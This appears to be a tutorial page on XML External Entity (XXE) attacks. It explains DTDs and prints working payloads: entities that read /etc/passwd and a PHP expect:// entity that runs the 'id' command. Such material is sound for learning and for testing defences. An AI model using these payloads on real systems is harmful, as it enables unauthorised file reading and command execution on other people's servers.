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XML External Entity (XXE)

An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.

There are two types of XXE attacks: in-band and out-of-band (OOB-XXE). 1. An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.

  1. out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.

Document Type Definition (DTD)

A DTD defines the structure and the legal elements and attributes of an XML document.

  • Example file content of note.dtd
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
  • !DOCTYPE note - Defines a root element of the document named note
  • !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
  • !ELEMENT to - Defines the to element to be of type "#PCDATA"
  • !ELEMENT from - Defines the from element to be of type "#PCDATA"
  • !ELEMENT heading - Defines the heading element to be of type "#PCDATA"

  • !ELEMENT body - Defines the body element to be of type "#PCDATA"

    NOTE: #PCDATA means parseable character data.

  • Resulting XML doc follows

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>falcon</to>
    <from>feast</from>
    <heading>hacking</heading>
    <body>XXE attack</body>
</note>

Replacing XML content

  • Name in the example
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
 <userInfo>
  <firstName>falcon</firstName>
  <lastName>&name;</lastName>
 </userInfo>
  • System call inside entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name>sdafsa</name>
<tel>789731421</tel>
<email>&xxe;</email>
<password>12345</password>
</root>

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
  • PHP expect using syscalls
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
    <email>&xxe;</email>
    <password>12345</password>
</root>

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